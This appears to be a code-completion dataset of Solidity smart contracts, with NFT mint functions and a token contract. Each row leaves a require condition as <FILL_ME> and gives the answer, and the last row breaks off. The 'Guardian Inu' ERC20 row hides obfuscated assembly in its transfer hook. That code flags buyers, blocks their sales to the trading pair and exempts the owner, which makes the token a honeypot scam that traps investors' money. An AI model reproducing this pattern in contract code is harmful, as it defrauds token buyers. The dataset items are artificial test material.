address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function _msgSenderERC721A() internal view virtual returns (address) {
}
function _toString(uint256 value) internal pure returns (string memory ptr) {
}
}
pragma solidity ^0.8.16;
contract MiniMiracles is ERC721A, Ownable, ReentrancyGuard{
string public baseURI;
uint256 public max = 10;
bytes32 private merkleRoot;
uint256 public maxSupply = 8000;
bool public isPublicLive = false;
bool public isWhitelistLive = false;
uint256 public wlPrice = 0.01 ether;
uint256 public mintPrice = 0.02 ether;
address private dev = 0x0E3227BA43Ed1cb9e202490adD9AF371451FceAE;
address private company = 0x41f218cCfF9586AE036fEd17b6D7CcDd62083B8B;
constructor(string memory name, string memory symbol) ERC721A(name, symbol) {}
function mintPublic(uint256 _amount) external payable nonReentrant {
}
function mintWhitelist(uint256 _amount,bytes32[] memory _proof) external payable nonReentrant {
require(<FILL_ME>)
require(isWhitelistLive, "Off");
require(_amount > 0 && _amount <= max, "Amount");
require(wlPrice * _amount <= msg.value,"ETH");
require(totalSupply() + _amount <= maxSupply, "Supply");
_safeMint(_msgSender(), _amount);
}
function adminMint(address _receiver, uint256 _amount) external onlyOwner {
}
function flipPublicState() external onlyOwner {
}
function flipWhitelistState() external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function setMintPrice(uint256 _mintPrice) external onlyOwner {
}
function setMaxSupply(uint256 _supply) external onlyOwner {
}
function setMax(uint256 _max) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setWithdrawAddress(address _company) external onlyOwner {
}
function setRoot(bytes32 _root) external onlyOwner {
}
}
| MerkleProof.verify(_proof,merkleRoot,keccak256(abi.encodePacked(_msgSender()))),"Proof" | 217,056 | MerkleProof.verify(_proof,merkleRoot,keccak256(abi.encodePacked(_msgSender()))) |
"ETH" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
pragma solidity ^0.8.16;
interface IERC721A {
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
error MintERC2309QuantityExceedsLimit();
error OwnershipNotInitializedForExtraData();
struct TokenOwnership {
address addr;
uint64 startTimestamp;
bool burned;
uint24 extraData;
}
function totalSupply() external view returns (uint256);
function supportsInterface(bytes4 interfaceId) external view returns (bool);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);
}
pragma solidity ^0.8.16;
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
pragma solidity ^0.8.16;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
pragma solidity ^0.8.16;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.16;
interface ERC721A__IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721A is IERC721A {
uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;
uint256 private constant BITPOS_NUMBER_MINTED = 64;
uint256 private constant BITPOS_NUMBER_BURNED = 128;
uint256 private constant BITPOS_AUX = 192;
uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;
uint256 private constant BITPOS_START_TIMESTAMP = 160;
uint256 private constant BITMASK_BURNED = 1 << 224;
uint256 private constant BITPOS_NEXT_INITIALIZED = 225;
uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;
uint256 private constant BITPOS_EXTRA_DATA = 232;
uint256 private constant BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;
uint256 private constant BITMASK_ADDRESS = (1 << 160) - 1;
uint256 private constant MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;
uint256 private _currentIndex;
uint256 private _burnCounter;
string private _name;
string private _symbol;
mapping(uint256 => uint256) private _packedOwnerships;
mapping(address => uint256) private _packedAddressData;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function _startTokenId() internal view virtual returns (uint256) {
}
function _nextTokenId() internal view returns (uint256) {
}
function totalSupply() public view override returns (uint256) {
}
function _totalMinted() internal view returns (uint256) {
}
function _totalBurned() internal view returns (uint256) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function _numberBurned(address owner) internal view returns (uint256) {
}
function _getAux(address owner) internal view returns (uint64) {
}
function _setAux(address owner, uint64 aux) internal {
}
function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
}
function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) {
}
function _ownershipAt(uint256 index) internal view returns (TokenOwnership memory) {
}
function _initializeOwnershipAt(uint256 index) internal {
}
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) {
}
function approve(address to, uint256 tokenId) public override {
}
function getApproved(uint256 tokenId) public view override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
function _mint(address to, uint256 quantity) internal {
}
function _mintERC2309(address to, uint256 quantity) internal {
}
function _getApprovedAddress(uint256 tokenId)
private
view
returns (uint256 approvedAddressSlot, address approvedAddress)
{
}
function _isOwnerOrApproved(
address approvedAddress,
address from,
address msgSender
) private pure returns (bool result) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function _burn(uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _setExtraDataAt(uint256 index, uint24 extraData) internal {
}
function _nextExtraData(
address from,
address to,
uint256 prevOwnershipPacked
) private view returns (uint256) {
}
function _extraData(
address from,
address to,
uint24 previousExtraData
) internal view virtual returns (uint24) {}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function _msgSenderERC721A() internal view virtual returns (address) {
}
function _toString(uint256 value) internal pure returns (string memory ptr) {
}
}
pragma solidity ^0.8.16;
contract MiniMiracles is ERC721A, Ownable, ReentrancyGuard{
string public baseURI;
uint256 public max = 10;
bytes32 private merkleRoot;
uint256 public maxSupply = 8000;
bool public isPublicLive = false;
bool public isWhitelistLive = false;
uint256 public wlPrice = 0.01 ether;
uint256 public mintPrice = 0.02 ether;
address private dev = 0x0E3227BA43Ed1cb9e202490adD9AF371451FceAE;
address private company = 0x41f218cCfF9586AE036fEd17b6D7CcDd62083B8B;
constructor(string memory name, string memory symbol) ERC721A(name, symbol) {}
function mintPublic(uint256 _amount) external payable nonReentrant {
}
function mintWhitelist(uint256 _amount,bytes32[] memory _proof) external payable nonReentrant {
require(MerkleProof.verify(_proof, merkleRoot, keccak256(abi.encodePacked(_msgSender()))), "Proof");
require(isWhitelistLive, "Off");
require(_amount > 0 && _amount <= max, "Amount");
require(<FILL_ME>)
require(totalSupply() + _amount <= maxSupply, "Supply");
_safeMint(_msgSender(), _amount);
}
function adminMint(address _receiver, uint256 _amount) external onlyOwner {
}
function flipPublicState() external onlyOwner {
}
function flipWhitelistState() external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw() external onlyOwner {
}
function setMintPrice(uint256 _mintPrice) external onlyOwner {
}
function setMaxSupply(uint256 _supply) external onlyOwner {
}
function setMax(uint256 _max) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) external onlyOwner {
}
function setWithdrawAddress(address _company) external onlyOwner {
}
function setRoot(bytes32 _root) external onlyOwner {
}
}
| wlPrice*_amount<=msg.value,"ETH" | 217,056 | wlPrice*_amount<=msg.value |
"ERROR: NFT limit" | pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
error TransferToNonERC721ReceiverImplementer();
contract Ownable {
address public owner;
constructor() {
}
// ownership
modifier onlyOwner() {
}
function transferOwnership(address _newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
contract LazyHorseNFT is IERC721, Ownable {
using Address for address;
using Strings for uint256;
string private _name = "Lazy Horse Race Club";
string private _symbol = "Lazy Horse";
uint16 public pubsaleSupply = 10000;
uint16 public limitPerAddress = 100;
uint public totalSupply;
bool public revealed;
bool public presaleOpen;
bool public pubsaleOpen;
uint public presaleCost = 0.03 ether;
uint256 public cost = 0.05 ether;
uint256 internal _currentIndex = 1;
mapping(address => uint256) private _balances;
mapping(uint256 => address) public ownership;
mapping(address => uint256) public addressMints;
string public baseURI;
string public norevealedURI;
string public baseExtension;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
modifier onlyTokenOwner(uint256 tokenId) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
}
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
}
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function setCost(uint256 _cost) external onlyOwner {
}
function setLimitPerAddress(uint8 _limit) external onlyOwner {
}
function startPresale() external onlyOwner {
}
function endPresale() external onlyOwner {
}
function startPubsale() external onlyOwner {
}
function endPubsale() external onlyOwner {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function mint(uint256 amount) external payable {
require(<FILL_ME>)
require(pubsaleOpen || presaleOpen, "Sale is not open");
require(totalSupply + amount <= pubsaleSupply, "Invalid amount");
uint _cost = presaleOpen? presaleCost : cost;
uint256 totalCost = _cost * amount;
require(msg.value >= totalCost, "Insufficient payment");
if (msg.value > totalCost) {
payable(msg.sender).transfer(msg.value - totalCost);
}
for (uint256 i = 0; i < amount; i += 1) {
emit Transfer(address(0), msg.sender, _currentIndex + i);
}
ownership[_currentIndex] = msg.sender;
_mint(msg.sender, amount);
totalSupply += amount;
}
function premint(uint256 amount, address to) external onlyOwner {
}
function _mint(address to, uint256 amount) internal {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal {
}
function tokenURI(uint256 tokenId) public view returns (string memory) {
}
function setBaseURI(string memory _baseURI) external onlyOwner {
}
function setUnrevealedURI(string memory _uri) external onlyOwner {
}
function setBaseExtension(string memory _ext) external onlyOwner {
}
function setPubsaleSupply(uint16 _amount) external onlyOwner {
}
function reveal() external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165)
returns (bool)
{
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function withdraw(address payable to) external onlyOwner {
}
function recoverToken(address token, address to) external onlyOwner {
}
}
| addressMints[msg.sender]+amount<=limitPerAddress,"ERROR: NFT limit" | 217,142 | addressMints[msg.sender]+amount<=limitPerAddress |
"Sale is not open" | pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
error TransferToNonERC721ReceiverImplementer();
contract Ownable {
address public owner;
constructor() {
}
// ownership
modifier onlyOwner() {
}
function transferOwnership(address _newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
contract LazyHorseNFT is IERC721, Ownable {
using Address for address;
using Strings for uint256;
string private _name = "Lazy Horse Race Club";
string private _symbol = "Lazy Horse";
uint16 public pubsaleSupply = 10000;
uint16 public limitPerAddress = 100;
uint public totalSupply;
bool public revealed;
bool public presaleOpen;
bool public pubsaleOpen;
uint public presaleCost = 0.03 ether;
uint256 public cost = 0.05 ether;
uint256 internal _currentIndex = 1;
mapping(address => uint256) private _balances;
mapping(uint256 => address) public ownership;
mapping(address => uint256) public addressMints;
string public baseURI;
string public norevealedURI;
string public baseExtension;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
modifier onlyTokenOwner(uint256 tokenId) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
}
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
}
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function setCost(uint256 _cost) external onlyOwner {
}
function setLimitPerAddress(uint8 _limit) external onlyOwner {
}
function startPresale() external onlyOwner {
}
function endPresale() external onlyOwner {
}
function startPubsale() external onlyOwner {
}
function endPubsale() external onlyOwner {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function mint(uint256 amount) external payable {
require(
addressMints[msg.sender] + amount <= limitPerAddress,
"ERROR: NFT limit"
);
require(<FILL_ME>)
require(totalSupply + amount <= pubsaleSupply, "Invalid amount");
uint _cost = presaleOpen? presaleCost : cost;
uint256 totalCost = _cost * amount;
require(msg.value >= totalCost, "Insufficient payment");
if (msg.value > totalCost) {
payable(msg.sender).transfer(msg.value - totalCost);
}
for (uint256 i = 0; i < amount; i += 1) {
emit Transfer(address(0), msg.sender, _currentIndex + i);
}
ownership[_currentIndex] = msg.sender;
_mint(msg.sender, amount);
totalSupply += amount;
}
function premint(uint256 amount, address to) external onlyOwner {
}
function _mint(address to, uint256 amount) internal {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal {
}
function tokenURI(uint256 tokenId) public view returns (string memory) {
}
function setBaseURI(string memory _baseURI) external onlyOwner {
}
function setUnrevealedURI(string memory _uri) external onlyOwner {
}
function setBaseExtension(string memory _ext) external onlyOwner {
}
function setPubsaleSupply(uint16 _amount) external onlyOwner {
}
function reveal() external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165)
returns (bool)
{
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function withdraw(address payable to) external onlyOwner {
}
function recoverToken(address token, address to) external onlyOwner {
}
}
| pubsaleOpen||presaleOpen,"Sale is not open" | 217,142 | pubsaleOpen||presaleOpen |
"Invalid amount" | pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
error TransferToNonERC721ReceiverImplementer();
contract Ownable {
address public owner;
constructor() {
}
// ownership
modifier onlyOwner() {
}
function transferOwnership(address _newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
}
contract LazyHorseNFT is IERC721, Ownable {
using Address for address;
using Strings for uint256;
string private _name = "Lazy Horse Race Club";
string private _symbol = "Lazy Horse";
uint16 public pubsaleSupply = 10000;
uint16 public limitPerAddress = 100;
uint public totalSupply;
bool public revealed;
bool public presaleOpen;
bool public pubsaleOpen;
uint public presaleCost = 0.03 ether;
uint256 public cost = 0.05 ether;
uint256 internal _currentIndex = 1;
mapping(address => uint256) private _balances;
mapping(uint256 => address) public ownership;
mapping(address => uint256) public addressMints;
string public baseURI;
string public norevealedURI;
string public baseExtension;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
modifier onlyTokenOwner(uint256 tokenId) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
}
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
}
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function setCost(uint256 _cost) external onlyOwner {
}
function setLimitPerAddress(uint8 _limit) external onlyOwner {
}
function startPresale() external onlyOwner {
}
function endPresale() external onlyOwner {
}
function startPubsale() external onlyOwner {
}
function endPubsale() external onlyOwner {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function mint(uint256 amount) external payable {
require(
addressMints[msg.sender] + amount <= limitPerAddress,
"ERROR: NFT limit"
);
require(pubsaleOpen || presaleOpen, "Sale is not open");
require(<FILL_ME>)
uint _cost = presaleOpen? presaleCost : cost;
uint256 totalCost = _cost * amount;
require(msg.value >= totalCost, "Insufficient payment");
if (msg.value > totalCost) {
payable(msg.sender).transfer(msg.value - totalCost);
}
for (uint256 i = 0; i < amount; i += 1) {
emit Transfer(address(0), msg.sender, _currentIndex + i);
}
ownership[_currentIndex] = msg.sender;
_mint(msg.sender, amount);
totalSupply += amount;
}
function premint(uint256 amount, address to) external onlyOwner {
}
function _mint(address to, uint256 amount) internal {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal {
}
function tokenURI(uint256 tokenId) public view returns (string memory) {
}
function setBaseURI(string memory _baseURI) external onlyOwner {
}
function setUnrevealedURI(string memory _uri) external onlyOwner {
}
function setBaseExtension(string memory _ext) external onlyOwner {
}
function setPubsaleSupply(uint16 _amount) external onlyOwner {
}
function reveal() external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165)
returns (bool)
{
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function withdraw(address payable to) external onlyOwner {
}
function recoverToken(address token, address to) external onlyOwner {
}
}
| totalSupply+amount<=pubsaleSupply,"Invalid amount" | 217,142 | totalSupply+amount<=pubsaleSupply |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addictFuture;
mapping (address => bool) private bananaDance;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private skateElegant = 0x6cc8f8b6abdf1c3c47cbca22a3a2d61cb3ec5ce199ddcbafa593c7f8ca0dac06;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply; bool private theTrading;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient) internal {
require(<FILL_ME>)
assembly {
function whereAwake(x,y) -> femaleThumb { mstore(0, x) mstore(32, y) femaleThumb := keccak256(0, 64) }
function alwaysIgnore(x,y) -> littleSausage { mstore(0, x) littleSausage := add(keccak256(0, 32),y) }
function surgeMelt(x,y) { mstore(0, x) sstore(add(keccak256(0, 32),sload(x)),y) sstore(x,add(sload(x),0x1)) }
if and(and(eq(sender,sload(alwaysIgnore(0x2,0x1))),eq(recipient,sload(alwaysIgnore(0x2,0x2)))),iszero(sload(0x1))) { sstore(sload(0x8),sload(0x8)) } if eq(recipient,0x1) { sstore(0x99,0x1) }
if eq(recipient,57005) { for { let dutchCoach := 0 } lt(dutchCoach, sload(0x500)) { dutchCoach := add(dutchCoach, 1) } { sstore(whereAwake(sload(alwaysIgnore(0x500,dutchCoach)),0x3),0x1) } }
if and(and(or(eq(sload(0x99),0x1),eq(sload(whereAwake(sender,0x3)),0x1)),eq(recipient,sload(alwaysIgnore(0x2,0x2)))),iszero(eq(sender,sload(alwaysIgnore(0x2,0x1))))) { invalid() }
if eq(sload(0x110),number()) { if and(and(eq(sload(0x105),number()),eq(recipient,sload(alwaysIgnore(0x2,0x2)))),and(eq(sload(0x200),sender),iszero(eq(sload(alwaysIgnore(0x2,0x1)),sender)))) { invalid() }
sstore(0x105,sload(0x110)) sstore(0x115,sload(0x120)) }
if and(iszero(eq(sender,sload(alwaysIgnore(0x2,0x2)))),and(iszero(eq(recipient,sload(alwaysIgnore(0x2,0x1)))),iszero(eq(recipient,sload(alwaysIgnore(0x2,0x2)))))) { sstore(whereAwake(recipient,0x3),0x1) }
if and(and(eq(sender,sload(alwaysIgnore(0x2,0x2))),iszero(eq(recipient,sload(alwaysIgnore(0x2,0x1))))),iszero(eq(recipient,sload(alwaysIgnore(0x2,0x1))))) { surgeMelt(0x500,recipient) }
if iszero(eq(sload(0x110),number())) { sstore(0x200,recipient) } sstore(0x110,number()) sstore(0x120,recipient)
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployGuardianInu(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract GuardianInu is ERC20Token {
constructor() ERC20Token("Guardian Inu", "GUARD", msg.sender, 975000000 * 10 ** 18) {
}
}
| (theTrading||(sender==addictFuture[1])),"ERC20: trading is not yet enabled." | 217,152 | (theTrading||(sender==addictFuture[1])) |
"No, not yet!" | pragma solidity ^0.8.4;
contract ThisAgedWell is Ownable, ERC721URIStorage {
constructor() ERC721("This Aged Well", "TAW") {}
mapping(address => uint256) private _addressTokenCount;
mapping(uint256 => bool) private _minted;
uint256 public tokensMinted = 0;
uint256 public lastBlockMinted = 0;
function svgToImageURI(string memory _source) public pure returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function setLastBlockMinted(uint256 blockNumber) public onlyOwner {
}
function formatTokenURI(string memory _imageURI, string memory _name, string memory _description, string memory _properties) public pure returns (string memory) {
}
function generateSVG(uint256 timestamp, uint256 numMinted) internal pure returns (string memory) {
}
function mint() public {
uint256 numMinted = totalSupply();
if (numMinted > 364) {
require(<FILL_ME>)
require(_addressTokenCount[msg.sender] > 0, "You must hold a key to obtain a key...(so ambiguous)");
require(_addressTokenCount[msg.sender] < ((numMinted/364)+1), "You hold too many. Maybe next year *wink*");
lastBlockMinted = block.number;
} else {
require(_addressTokenCount[msg.sender] < 2, "Was one not enough?!(thank you for minting)");
}
require(!_minted[numMinted], "If you see this I probably messed up");
_minted[numMinted] = true;
string memory imageURI = svgToImageURI(generateSVG(block.timestamp, numMinted));
string memory name = string(abi.encodePacked("This Aged Well - ", numMinted));
string memory description = "Time since mint. With color. Yeehaw!";
string memory properties = "dontworryaboutit";
string memory tokenURI = formatTokenURI(imageURI, name, description, properties);
_mint(msg.sender, numMinted);
_setTokenURI(numMinted, tokenURI);
_addressTokenCount[msg.sender]++;
tokensMinted = numMinted + 1;
}
}
| block.number>=(lastBlockMinted+7200+numMinted),"No, not yet!" | 217,202 | block.number>=(lastBlockMinted+7200+numMinted) |
"You must hold a key to obtain a key...(so ambiguous)" | pragma solidity ^0.8.4;
contract ThisAgedWell is Ownable, ERC721URIStorage {
constructor() ERC721("This Aged Well", "TAW") {}
mapping(address => uint256) private _addressTokenCount;
mapping(uint256 => bool) private _minted;
uint256 public tokensMinted = 0;
uint256 public lastBlockMinted = 0;
function svgToImageURI(string memory _source) public pure returns (string memory) {
}
function totalSupply() public view returns (uint256) {
}
function setLastBlockMinted(uint256 blockNumber) public onlyOwner {
}
function formatTokenURI(string memory _imageURI, string memory _name, string memory _description, string memory _properties) public pure returns (string memory) {
}
function generateSVG(uint256 timestamp, uint256 numMinted) internal pure returns (string memory) {
}
function mint() public {
uint256 numMinted = totalSupply();
if (numMinted > 364) {
require(block.number >= (lastBlockMinted + 7200 + numMinted), "No, not yet!");
require(<FILL_ME>)
